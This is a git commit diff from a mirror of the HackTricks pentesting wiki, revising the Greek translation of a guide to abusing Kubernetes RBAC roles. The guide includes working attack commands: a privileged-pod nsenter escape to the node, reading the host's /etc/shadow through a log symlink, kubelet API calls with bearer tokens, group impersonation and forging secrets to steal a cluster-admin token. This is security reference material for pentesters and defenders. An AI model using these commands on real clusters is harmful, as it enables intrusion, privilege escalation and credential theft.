mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 14:47:17 -07:00
Translated ['', 'src/pentesting-cloud/kubernetes-security/pentesting-kub
This commit is contained in:
+154
-132
@@ -1,23 +1,23 @@
|
||||
# Abusing Roles/ClusterRoles in Kubernetes
|
||||
# Κατάχρηση Roles/ClusterRoles στο Kubernetes
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Εδώ μπορείτε να βρείτε κάποιες δυνητικά επικίνδυνες ρυθμίσεις Roles και ClusterRoles.\
|
||||
Θυμηθείτε ότι μπορείτε να αποκτήσετε όλους τους υποστηριζόμενους πόρους με `kubectl api-resources`
|
||||
Εδώ θα βρείτε ορισμένες ενδεχομένως επικίνδυνες διαμορφώσεις Roles και ClusterRoles.\
|
||||
Να θυμάστε ότι μπορείτε να πάρετε όλους τους υποστηριζόμενους πόρους με `kubectl api-resources`
|
||||
|
||||
## **Privilege Escalation**
|
||||
|
||||
Αναφερόμενος ως η τέχνη του να αποκτάς **πρόσβαση σε έναν διαφορετικό κύριο** μέσα στο cluster **με διαφορετικά προνόμια** (μέσα στο kubernetes cluster ή σε εξωτερικά νέφη) από αυτά που ήδη έχετε, στο Kubernetes υπάρχουν βασικά **4 κύριες τεχνικές για την κλιμάκωση προνομίων**:
|
||||
Ως τέχνη του να αποκτάς πρόσβαση σε έναν διαφορετικό principal μέσα στο cluster με διαφορετικά privileges (εντός του Kubernetes cluster ή σε εξωτερικά clouds) από αυτά που ήδη έχεις, στο Kubernetes υπάρχουν βασικά **4 κύριες τεχνικές για να ανεβάσεις δικαιώματα**:
|
||||
|
||||
- Να είστε σε θέση να **παριστάνετε** άλλους χρήστες/ομάδες/SAs με καλύτερα προνόμια μέσα στο kubernetes cluster ή σε εξωτερικά νέφη
|
||||
- Να είστε σε θέση να **δημιουργείτε/διορθώνετε/εκτελείτε pods** όπου μπορείτε να **βρείτε ή να συνδέσετε SAs** με καλύτερα προνόμια μέσα στο kubernetes cluster ή σε εξωτερικά νέφη
|
||||
- Να είστε σε θέση να **διαβάζετε μυστικά** καθώς τα tokens των SAs αποθηκεύονται ως μυστικά
|
||||
- Να είστε σε θέση να **διαφύγετε στον κόμβο** από ένα κοντέινερ, όπου μπορείτε να κλέψετε όλα τα μυστικά των κοντέινερ που εκτελούνται στον κόμβο, τα διαπιστευτήρια του κόμβου και τα δικαιώματα του κόμβου μέσα στο νέφος στο οποίο εκτελείται (αν υπάρχει)
|
||||
- Μια πέμπτη τεχνική που αξίζει να αναφερθεί είναι η ικανότητα να **τρέχετε port-forward** σε ένα pod, καθώς μπορεί να είστε σε θέση να αποκτήσετε πρόσβαση σε ενδιαφέροντες πόρους μέσα σε αυτό το pod.
|
||||
- Να μπορείς να **impersonate** άλλους user/groups/SAs με καλύτερα δικαιώματα εντός του Kubernetes cluster ή σε εξωτερικά clouds
|
||||
- Να μπορείς να **create/patch/exec pods** όπου μπορείς να **βρείς ή να attach-άς SAs** με καλύτερα δικαιώματα εντός του Kubernetes cluster ή σε εξωτερικά clouds
|
||||
- Να μπορείς να **read secrets**, καθώς τα tokens των SAs αποθηκεύονται ως secrets
|
||||
- Να μπορείς να **escape to the node** από ένα container, όπου μπορείς να κλέψεις όλα τα secrets των containers που τρέχουν στον node, τα credentials του node, και τα permissions του node στο cloud όπου τρέχει (αν υπάρχουν)
|
||||
- Μια πέμπτη τεχνική που αξίζει να αναφερθεί είναι η δυνατότητα να **run port-forward** σε ένα pod, καθώς μπορεί να έχεις πρόσβαση σε ενδιαφέροντα resources μέσα σε εκείνο το pod.
|
||||
|
||||
### Access Any Resource or Verb (Wildcard)
|
||||
|
||||
Η **wildcard (\*) δίνει άδεια σε οποιονδήποτε πόρο με οποιοδήποτε ρήμα**. Χρησιμοποιείται από διαχειριστές. Μέσα σε ένα ClusterRole αυτό σημαίνει ότι ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί οποιοδήποτε namespace στο cluster
|
||||
Το **wildcard (\*) δίνει δικαιώματα πάνω σε οποιονδήποτε πόρο με οποιαδήποτε ενέργεια (verb)**. Χρησιμοποιείται από admins. Εντός ενός ClusterRole αυτό σημαίνει ότι ένας attacker θα μπορούσε να καταχραστεί οποιοδήποτε namespace στο cluster
|
||||
```yaml
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
@@ -29,13 +29,13 @@ rules:
|
||||
resources: ["*"]
|
||||
verbs: ["*"]
|
||||
```
|
||||
### Πρόσβαση σε οποιοδήποτε πόρο με συγκεκριμένο ρήμα
|
||||
### Πρόσβαση σε οποιονδήποτε πόρο με ένα συγκεκριμένο ρήμα
|
||||
|
||||
Στο RBAC, ορισμένες άδειες ενέχουν σημαντικούς κινδύνους:
|
||||
Στο RBAC, ορισμένα δικαιώματα εγκυμονούν σημαντικούς κινδύνους:
|
||||
|
||||
1. **`create`:** Δίνει τη δυνατότητα δημιουργίας οποιουδήποτε πόρου κλάσης, θέτοντας σε κίνδυνο την κλιμάκωση προνομίων.
|
||||
2. **`list`:** Επιτρέπει την καταγραφή όλων των πόρων, ενδεχομένως διαρρέοντας ευαίσθητα δεδομένα.
|
||||
3. **`get`:** Επιτρέπει την πρόσβαση σε μυστικά από λογαριασμούς υπηρεσιών, θέτοντας σε κίνδυνο την ασφάλεια.
|
||||
1. **`create`:** Χορηγεί τη δυνατότητα δημιουργίας οποιουδήποτε πόρου του cluster, θέτοντας σε κίνδυνο την αναβάθμιση προνομίων.
|
||||
2. **`list`:** Επιτρέπει την απαρίθμηση όλων των πόρων, ενδεχομένως leak ευαίσθητων δεδομένων.
|
||||
3. **`get`:** Επιτρέπει την πρόσβαση σε secrets από service accounts, αποτελώντας απειλή για την ασφάλεια.
|
||||
```yaml
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
@@ -49,9 +49,9 @@ verbs: ["create", "list", "get"]
|
||||
```
|
||||
### Pod Create - Steal Token
|
||||
|
||||
Ένας επιτιθέμενος με άδειες να δημιουργήσει ένα pod, θα μπορούσε να συνδέσει έναν προνομιούχο Λογαριασμό Υπηρεσίας στο pod και να κλέψει το token για να προσποιηθεί τον Λογαριασμό Υπηρεσίας. Αποτελεσματικά, θα κλιμακώσει τα προνόμια σε αυτόν.
|
||||
Ένας attacker με δικαιώματα για δημιουργία pod μπορεί να επισυνάψει ένα privileged Service Account στο pod και να κλέψει το token για να εμφανιστεί ως το Service Account. Αυτό ουσιαστικά κλιμακώνει τα προνόμιά του
|
||||
|
||||
Παράδειγμα ενός pod που θα κλέψει το token του λογαριασμού υπηρεσίας `bootstrap-signer` και θα το στείλει στον επιτιθέμενο:
|
||||
Παράδειγμα pod που θα κλέψει το token του Service Account `bootstrap-signer` και θα το στείλει στον attacker:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
@@ -74,12 +74,12 @@ hostNetwork: true
|
||||
```
|
||||
### Pod Create & Escape
|
||||
|
||||
Τα παρακάτω υποδεικνύουν όλα τα δικαιώματα που μπορεί να έχει ένα κοντέινερ:
|
||||
Τα παρακάτω δείχνουν όλα τα προνόμια που μπορεί να έχει ένα container:
|
||||
|
||||
- **Privileged access** (απενεργοποίηση προστασιών και ρύθμιση ικανοτήτων)
|
||||
- **Disable namespaces hostIPC and hostPid** που μπορούν να βοηθήσουν στην κλιμάκωση δικαιωμάτων
|
||||
- **Disable hostNetwork** namespace, δίνοντας πρόσβαση για κλοπή των δικαιωμάτων cloud των κόμβων και καλύτερη πρόσβαση σε δίκτυα
|
||||
- **Mount hosts / inside the container**
|
||||
- **Privileged access** (απενεργοποίηση προστασιών και ρύθμιση των capabilities)
|
||||
- **Disable namespaces hostIPC and hostPid** που μπορούν να βοηθήσουν στην κλιμάκωση προνομίων
|
||||
- **Disable hostNetwork** namespace, παρέχοντας πρόσβαση για κλοπή cloud προνομίων των nodes και καλύτερη πρόσβαση σε δίκτυα
|
||||
- **Mount hosts /** μέσα στο container
|
||||
```yaml:super_privs.yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
@@ -119,31 +119,31 @@ path: /
|
||||
```bash
|
||||
kubectl --token $token create -f mount_root.yaml
|
||||
```
|
||||
Μονογραμμή από [αυτό το tweet](https://twitter.com/mauilion/status/1129468485480751104) και με μερικές προσθήκες:
|
||||
Εντολή μιας γραμμής από [this tweet](https://twitter.com/mauilion/status/1129468485480751104) και με μερικές προσθήκες:
|
||||
```bash
|
||||
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'
|
||||
```
|
||||
Τώρα που μπορείτε να διαφύγετε στον κόμβο, ελέγξτε τις τεχνικές μετα-εκμετάλλευσης στο:
|
||||
Τώρα που μπορείς να διαφύγεις στο node, έλεγξε τις τεχνικές post-exploitation στο:
|
||||
|
||||
#### Stealth
|
||||
|
||||
Πιθανώς θέλετε να είστε **πιο διακριτικοί**, στις επόμενες σελίδες μπορείτε να δείτε τι θα μπορούσατε να έχετε πρόσβαση αν δημιουργήσετε ένα pod ενεργοποιώντας μόνο ορισμένα από τα αναφερόμενα δικαιώματα στο προηγούμενο πρότυπο:
|
||||
Πιθανώς θέλεις να είσαι **stealthier**, στις επόμενες σελίδες μπορείς να δεις τι θα μπορούσες να έχεις πρόσβαση αν δημιουργήσεις ένα pod ενεργοποιώντας μόνο μερικά από τα προαναφερθέντα privileges στο προηγούμενο template:
|
||||
|
||||
- **Privileged + hostPID**
|
||||
- **Privileged μόνο**
|
||||
- **Privileged only**
|
||||
- **hostPath**
|
||||
- **hostPID**
|
||||
- **hostNetwork**
|
||||
- **hostIPC**
|
||||
|
||||
_Μπορείτε να βρείτε παράδειγμα για το πώς να δημιουργήσετε/εκμεταλλευτείτε τις προηγούμενες ρυθμίσεις privileged pods στο_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)
|
||||
_You can find example of how to create/abuse the previous privileged pods configurations in_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)
|
||||
|
||||
### Pod Create - Move to cloud
|
||||
### Δημιουργία Pod - Μετάβαση στο cloud
|
||||
|
||||
Αν μπορείτε να **δημιουργήσετε** ένα **pod** (και προαιρετικά έναν **λογαριασμό υπηρεσίας**) μπορεί να είστε σε θέση να **αποκτήσετε δικαιώματα σε περιβάλλον cloud** αναθέτοντας **cloud roles σε ένα pod ή έναν λογαριασμό υπηρεσίας** και στη συνέχεια να έχετε πρόσβαση σε αυτό.\
|
||||
Επιπλέον, αν μπορείτε να δημιουργήσετε ένα **pod με το namespace δικτύου του host**, μπορείτε να **κλέψετε τον ρόλο IAM** της **περίπτωσης** του **κόμβου**.
|
||||
Εάν μπορείς να **create** ένα **pod** (και προαιρετικά ένα **service account**) ίσως να μπορείς να **obtain privileges in cloud environment** αναθέτοντας **cloud roles to a pod or a service account** και στη συνέχεια αποκτώντας πρόσβαση σε αυτό.\
|
||||
Επιπλέον, αν μπορείς να δημιουργήσεις ένα **pod with the host network namespace** μπορείς να **steal the IAM** role της **node** instance.
|
||||
|
||||
Για περισσότερες πληροφορίες ελέγξτε:
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
pod-escape-privileges.md
|
||||
@@ -151,9 +151,9 @@ pod-escape-privileges.md
|
||||
|
||||
### **Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs**
|
||||
|
||||
Είναι δυνατόν να εκμεταλλευτείτε αυτές τις άδειες για να **δημιουργήσετε ένα νέο pod** και να αποκτήσετε δικαιώματα όπως στο προηγούμενο παράδειγμα.
|
||||
Είναι εφικτό να καταχραστείς αυτά τα permissions για να **create a new pod** και να escalate privileges όπως στο προηγούμενο παράδειγμα.
|
||||
|
||||
Το παρακάτω yaml **δημιουργεί ένα daemonset και εξάγει το token του SA** μέσα στο pod:
|
||||
Το ακόλουθο yaml **creates a daemonset and exfiltrates the token of the SA** μέσα στο pod:
|
||||
```yaml
|
||||
apiVersion: apps/v1
|
||||
kind: DaemonSet
|
||||
@@ -191,32 +191,32 @@ path: /
|
||||
```
|
||||
### **Pods Exec**
|
||||
|
||||
**`pods/exec`** είναι ένας πόρος στο kubernetes που χρησιμοποιείται για **την εκτέλεση εντολών σε ένα shell μέσα σε ένα pod**. Αυτό επιτρέπει να **εκτελούνται εντολές μέσα στα containers ή να αποκτάται ένα shell μέσα**.
|
||||
**`pods/exec`** είναι ένας πόρος στο kubernetes που χρησιμοποιείται για **εκτέλεση εντολών σε shell μέσα σε ένα pod**. Αυτό επιτρέπει να **εκτελέσεις εντολές μέσα στα containers ή να αποκτήσεις ένα shell εσωτερικά**.
|
||||
|
||||
Επομένως, είναι δυνατόν να **μπείτε μέσα σε ένα pod και να κλέψετε το token του SA**, ή να εισέλθετε σε ένα προνομιούχο pod, να διαφύγετε στον κόμβο και να κλέψετε όλα τα tokens των pods στον κόμβο και να (κατα)χρηστείτε τον κόμβο:
|
||||
Επομένως, είναι δυνατό να **μπεις σε ένα pod και να κλέψεις το token του SA**, ή να εισέλθεις σε ένα privileged pod, να κάνεις escape στο node, και να κλέψεις όλα τα tokens των pods στο node και να (ab)use το node:
|
||||
```bash
|
||||
kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
|
||||
```
|
||||
> [!NOTE]
|
||||
> Από προεπιλογή, η εντολή εκτελείται στο πρώτο κοντέινερ του pod. Πάρτε **όλα τα pods σε ένα κοντέινερ** με `kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'` και στη συνέχεια **υποδείξτε το κοντέινερ** όπου θέλετε να το εκτελέσετε με `kubectl exec -it <pod_name> -c <container_name> -- sh`
|
||||
> Εξ ορισμού η εντολή εκτελείται στο πρώτο container του pod. Πάρε **όλα τα pods σε ένα container** με `kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'` και μετά **υπόδειξε το container** όπου θέλεις να την εκτελέσεις με `kubectl exec -it <pod_name> -c <container_name> -- sh`
|
||||
|
||||
Αν είναι ένα distroless κοντέινερ, μπορείτε να δοκιμάσετε να χρησιμοποιήσετε **shell builtins** για να αποκτήσετε πληροφορίες για τα κοντέινερ ή να ανεβάσετε τα δικά σας εργαλεία όπως ένα **busybox** χρησιμοποιώντας: **`kubectl cp </path/local/file> <podname>:</path/in/container>`**.
|
||||
Αν είναι distroless container μπορείς να δοκιμάσεις να χρησιμοποιήσεις **shell builtins** για να πάρεις πληροφορίες των containers ή να ανεβάσεις τα δικά σου εργαλεία όπως ένα **busybox** χρησιμοποιώντας: **`kubectl cp </path/local/file> <podname>:</path/in/container>`**.
|
||||
|
||||
### port-forward
|
||||
|
||||
Αυτή η άδεια επιτρέπει να **προωθήσετε μία τοπική θύρα σε μία θύρα στο καθορισμένο pod**. Αυτό προορίζεται για να μπορείτε να αποσφαλίσετε εφαρμογές που εκτελούνται μέσα σε ένα pod εύκολα, αλλά ένας επιτιθέμενος θα μπορούσε να το εκμεταλλευτεί για να αποκτήσει πρόσβαση σε ενδιαφέρουσες (όπως DBs) ή ευάλωτες εφαρμογές (ιστοσελίδες;) μέσα σε ένα pod:
|
||||
Αυτή η άδεια επιτρέπει να **προωθήσεις μία τοπική θύρα σε μία θύρα στο συγκεκριμένο pod**. Αυτό προορίζεται για να μπορείς να κάνεις debug εφαρμογές που τρέχουν μέσα σε ένα pod εύκολα, αλλά ένας attacker μπορεί να το καταχραστεί για να αποκτήσει πρόσβαση σε ενδιαφέρουσες (π.χ. DBs) ή ευάλωτες εφαρμογές (webs?) μέσα σε ένα pod:
|
||||
```bash
|
||||
kubectl port-forward pod/mypod 5000:5000
|
||||
```
|
||||
### Hosts Writable /var/log/ Escape
|
||||
|
||||
As [**indicated in this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), αν μπορείτε να έχετε πρόσβαση ή να δημιουργήσετε ένα pod με το **hosts `/var/log/` directory mounted** σε αυτό, μπορείτε να **escape from the container**.\
|
||||
Αυτό συμβαίνει βασικά επειδή όταν ο **Kube-API προσπαθεί να πάρει τα logs** ενός container (χρησιμοποιώντας `kubectl logs <pod>`), **ζητά το `0.log`** αρχείο του pod χρησιμοποιώντας το `/logs/` endpoint της υπηρεσίας **Kubelet**.\
|
||||
Η υπηρεσία Kubelet εκθέτει το `/logs/` endpoint το οποίο βασικά **εκθέτει το `/var/log` filesystem του container**.
|
||||
As [**indicated in this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), αν μπορείτε να αποκτήσετε πρόσβαση ή να δημιουργήσετε ένα pod με τον **hosts `/var/log/` directory mounted** πάνω του, μπορείτε να **escape from the container**.\
|
||||
Αυτό συμβαίνει βασικά επειδή όταν το **Kube-API tries to get the logs** ενός container (using `kubectl logs <pod>`), ζητάει το **αρχείο `0.log`** του pod χρησιμοποιώντας το endpoint `/logs/` της υπηρεσίας **Kubelet**.\
|
||||
Η υπηρεσία Kubelet εκθέτει το endpoint `/logs/` το οποίο στην ουσία **εκθέτει το filesystem `/var/log` του container**.
|
||||
|
||||
Επομένως, ένας επιτιθέμενος με **πρόσβαση για εγγραφή στον φάκελο /var/log/** του container θα μπορούσε να εκμεταλλευτεί αυτή τη συμπεριφορά με 2 τρόπους:
|
||||
Επομένως, ένας attacker με **access to write in the /var/log/ folder** του container θα μπορούσε να εκμεταλλευτεί αυτή τη συμπεριφορά με 2 τρόπους:
|
||||
|
||||
- Τροποποιώντας το `0.log` αρχείο του container του (συνήθως τοποθετημένο στο `/var/logs/pods/namespace_pod_uid/container/0.log`) ώστε να είναι ένα **symlink που δείχνει στο `/etc/shadow`** για παράδειγμα. Στη συνέχεια, θα μπορείτε να εξάγετε το αρχείο shadow των hosts κάνοντας:
|
||||
- Τροποποιώντας το αρχείο `0.log` του container του (συνήθως βρίσκεται στο `/var/logs/pods/namespace_pod_uid/container/0.log`) ώστε να είναι **symlink pointing to `/etc/shadow`**, για παράδειγμα. Στη συνέχεια, θα μπορέσετε να εξάγετε το hosts shadow file κάνοντας:
|
||||
```bash
|
||||
kubectl logs escaper
|
||||
failed to get parse function: unsupported log format: "root::::::::\n"
|
||||
@@ -224,7 +224,7 @@ kubectl logs escaper --tail=2
|
||||
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
|
||||
# Keep incrementing tail to exfiltrate the whole file
|
||||
```
|
||||
- Αν ο επιτιθέμενος ελέγχει οποιονδήποτε κύριο με **δικαιώματα να διαβάσει `nodes/log`**, μπορεί απλά να δημιουργήσει ένα **symlink** στο `/host-mounted/var/log/sym` προς το `/` και όταν **πρόσβαση στο `https://<gateway>:10250/logs/sym/` θα καταγράψει το ριζικό** σύστημα αρχείων των hosts (η αλλαγή του symlink μπορεί να παρέχει πρόσβαση σε αρχεία).
|
||||
- Αν ο attacker ελέγχει οποιοδήποτε principal με τα **permissions to read `nodes/log`**, μπορεί απλά να δημιουργήσει ένα **symlink** στο `/host-mounted/var/log/sym` προς το `/` και όταν **κατά την πρόσβαση στο `https://<gateway>:10250/logs/sym/` θα εμφανίζει το root filesystem του host** (η αλλαγή του symlink μπορεί να παρέχει πρόσβαση σε αρχεία).
|
||||
```bash
|
||||
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
|
||||
<a href="bin">bin</a>
|
||||
@@ -236,23 +236,23 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://
|
||||
<a href="lib">lib</a>
|
||||
[...]
|
||||
```
|
||||
**Ένα εργαστήριο και μια αυτοματοποιημένη εκμετάλλευση μπορούν να βρεθούν στο** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts)
|
||||
**Ένα εργαστήριο και ένα αυτοματοποιημένο exploit μπορούν να βρεθούν στο** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts)
|
||||
|
||||
#### Παράκαμψη της προστασίας readOnly <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
#### Παράκαμψη προστασίας readOnly <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
|
||||
Αν είστε αρκετά τυχεροί και η πολύ προνομιακή δυνατότητα `CAP_SYS_ADMIN` είναι διαθέσιμη, μπορείτε απλά να ξανατοποθετήσετε τον φάκελο ως rw:
|
||||
Εάν είστε αρκετά τυχεροί και η προνομιούχα δυνατότητα `CAP_SYS_ADMIN` είναι διαθέσιμη, μπορείτε απλά να επαναπροσαρτήσετε τον φάκελο ως rw:
|
||||
```bash
|
||||
mount -o rw,remount /hostlogs/
|
||||
```
|
||||
#### Παράκαμψη προστασίας hostPath readOnly <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
|
||||
Όπως αναφέρεται σε [**αυτή την έρευνα**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), είναι δυνατόν να παρακαμφθεί η προστασία:
|
||||
Όπως αναφέρεται στην [**αυτή την έρευνα**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html) είναι δυνατό να παρακαμφθεί η προστασία:
|
||||
```yaml
|
||||
allowedHostPaths:
|
||||
- pathPrefix: "/foo"
|
||||
readOnly: true
|
||||
```
|
||||
Που προοριζόταν να αποτρέψει τις διαρροές όπως οι προηγούμενες, χρησιμοποιώντας, αντί για hostPath mount, ένα PersistentVolume και ένα PersistentVolumeClaim για να τοποθετήσει έναν φάκελο του host στο κοντέινερ με δικαιώματα εγγραφής:
|
||||
Το οποίο είχε σκοπό να αποτρέψει διαφυγές όπως οι προηγούμενες, χρησιμοποιώντας, αντί για hostPath mount, ένα PersistentVolume και ένα PersistentVolumeClaim για να προσαρτήσετε έναν hosts folder στο container με writable access:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: PersistentVolume
|
||||
@@ -298,11 +298,11 @@ volumeMounts:
|
||||
- mountPath: "/hostlogs"
|
||||
name: task-pv-storage-vol
|
||||
```
|
||||
### **Υποκατάσταση προνομιακών λογαριασμών**
|
||||
### **Προσποίηση λογαριασμών με προνόμια**
|
||||
|
||||
Με ένα [**δικαίωμα υποκατάστασης χρήστη**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation), ένας επιτιθέμενος θα μπορούσε να υποκαταστήσει έναν προνομιακό λογαριασμό.
|
||||
Με το προνόμιο [**user impersonation**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation), ένας επιτιθέμενος θα μπορούσε να προσποιηθεί έναν λογαριασμό με προνόμια.
|
||||
|
||||
Απλά χρησιμοποιήστε την παράμετρο `--as=<username>` στην εντολή `kubectl` για να υποκαταστήσετε έναν χρήστη, ή `--as-group=<group>` για να υποκαταστήσετε μια ομάδα:
|
||||
Απλώς χρησιμοποιήστε την παράμετρο `--as=<username>` στην εντολή `kubectl` για να προσποιηθείτε έναν χρήστη, ή `--as-group=<group>` για να προσποιηθείτε μια ομάδα:
|
||||
```bash
|
||||
kubectl get pods --as=system:serviceaccount:kube-system:default
|
||||
kubectl get secrets --as=null --as-group=system:masters
|
||||
@@ -315,15 +315,16 @@ curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
|
||||
-H "Accept: application/json" \
|
||||
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
|
||||
```
|
||||
### Listing Secrets
|
||||
### Απαρίθμηση Secrets
|
||||
|
||||
Η άδεια να **καταγράψει μυστικά θα μπορούσε να επιτρέψει σε έναν επιτιθέμενο να διαβάσει πραγματικά τα μυστικά** αποκτώντας πρόσβαση στο REST API endpoint:
|
||||
Η άδεια για **list secrets μπορεί να επιτρέψει σε έναν επιτιθέμενο να διαβάσει πραγματικά τα secrets** μέσω πρόσβασης στο REST API endpoint:
|
||||
```bash
|
||||
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
|
||||
```
|
||||
### Δημιουργία και Ανάγνωση Μυστικών
|
||||
### Δημιουργία και Ανάγνωση Secrets
|
||||
|
||||
Υπάρχει ένας ειδικός τύπος μυστικού Kubernetes του τύπου **kubernetes.io/service-account-token** που αποθηκεύει τα tokens του serviceaccount. Αν έχετε άδειες για να δημιουργείτε και να διαβάζετε μυστικά, και γνωρίζετε επίσης το όνομα του serviceaccount, μπορείτε να δημιουργήσετε ένα μυστικό ως εξής και στη συνέχεια να κλέψετε το token του serviceaccount του θύματος από αυτό:
|
||||
Υπάρχει ένας ειδικός τύπος Kubernetes secret του τύπου **kubernetes.io/service-account-token** που αποθηκεύει serviceaccount tokens.
|
||||
Εάν έχεις δικαιώματα να δημιουργείς και να διαβάζεις secrets, και γνωρίζεις επίσης το όνομα του serviceaccount, μπορείς να δημιουργήσεις ένα secret ως εξής και στη συνέχεια να κλέψεις το token του θύματος serviceaccount από αυτό:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Secret
|
||||
@@ -334,7 +335,7 @@ annotations:
|
||||
kubernetes.io/service-account.name: cluster-admin-sa
|
||||
type: kubernetes.io/service-account-token
|
||||
```
|
||||
Παράδειγμα εκμετάλλευσης:
|
||||
Παράδειγμα exploitation:
|
||||
```bash
|
||||
$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa)
|
||||
|
||||
@@ -382,17 +383,18 @@ $ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o jso
|
||||
"type": "kubernetes.io/service-account-token"
|
||||
}
|
||||
```
|
||||
Σημειώστε ότι αν σας επιτρέπεται να δημιουργείτε και να διαβάζετε μυστικά σε ένα συγκεκριμένο namespace, ο λογαριασμός υπηρεσίας του θύματος πρέπει επίσης να βρίσκεται σε αυτό το ίδιο namespace.
|
||||
Note that if you are allowed to create and read secrets in a certain namespace, the victim serviceaccount also must be in that same namespace.
|
||||
|
||||
### Ανάγνωση ενός μυστικού – βίαιη επίθεση σε αναγνωριστικά token
|
||||
|
||||
Ενώ ένας επιτιθέμενος που κατέχει ένα token με δικαιώματα ανάγνωσης απαιτεί το ακριβές όνομα του μυστικού για να το χρησιμοποιήσει, σε αντίθεση με το ευρύτερο προνόμιο _**καταγραφής μυστικών**_, υπάρχουν ακόμα ευπάθειες. Οι προεπιλεγμένοι λογαριασμοί υπηρεσίας στο σύστημα μπορούν να καταμετρηθούν, καθένας από τους οποίους σχετίζεται με ένα μυστικό. Αυτά τα μυστικά έχουν μια δομή ονόματος: ένα στατικό πρόθεμα ακολουθούμενο από έναν τυχαίο αλφαριθμητικό token πέντε χαρακτήρων (εξαιρουμένων ορισμένων χαρακτήρων) σύμφωνα με τον [κώδικα πηγής](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
|
||||
### Ανάγνωση ενός secret – brute-forcing token IDs
|
||||
|
||||
Το token παράγεται από ένα περιορισμένο σύνολο 27 χαρακτήρων (`bcdfghjklmnpqrstvwxz2456789`), αντί για το πλήρες αλφαριθμητικό εύρος. Αυτός ο περιορισμός μειώνει τον συνολικό δυνατό αριθμό συνδυασμών σε 14,348,907 (27^5). Κατά συνέπεια, ένας επιτιθέμενος θα μπορούσε να εκτελέσει μια βίαιη επίθεση για να deduce το token μέσα σε λίγες ώρες, ενδεχομένως οδηγώντας σε κλιμάκωση προνομίων μέσω της πρόσβασης σε ευαίσθητους λογαριασμούς υπηρεσίας.
|
||||
Ενώ ένας επιτιθέμενος που έχει στην κατοχή του ένα token με δικαιώματα ανάγνωσης χρειάζεται το ακριβές όνομα του secret για να το χρησιμοποιήσει — σε αντίθεση με το ευρύτερο _**listing secrets**_ προνόμιο — εξακολουθούν να υπάρχουν ευπάθειες. Default service accounts στο σύστημα μπορούν να απαριθμηθούν, το καθένα συνδεδεμένο με ένα secret. Αυτά τα secrets έχουν δομή ονόματος: ένα στατικό πρόθεμα ακολουθούμενο από ένα τυχαίο πενταψήφιο αλφαριθμητικό token (εξαιρώντας ορισμένους χαρακτήρες) σύμφωνα με τον [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
|
||||
|
||||
### EncrpytionConfiguration σε καθαρό κείμενο
|
||||
Το token παράγεται από ένα περιορισμένο σύνολο 27 χαρακτήρων (`bcdfghjklmnpqrstvwxz2456789`), αντί για ολόκληρη την αλφαριθμητική γκάμα. Ο περιορισμός αυτός μειώνει τον συνολικό αριθμό πιθανών συνδυασμών σε 14,348,907 (27^5). Συνεπώς, ένας επιτιθέμενος θα μπορούσε ρεαλιστικά να πραγματοποιήσει ένα brute-force attack για να προσδιορίσει το token μέσα σε λίγες ώρες, ενδεχομένως οδηγώντας σε privilege escalation μέσω πρόσβασης σε ευαίσθητα service accounts.
|
||||
|
||||
Είναι δυνατόν να βρείτε κλειδιά σε καθαρό κείμενο για την κρυπτογράφηση δεδομένων σε κατάσταση ηρεμίας σε αυτόν τον τύπο αντικειμένου όπως:
|
||||
### EncrpytionConfiguration σε απλό κείμενο
|
||||
|
||||
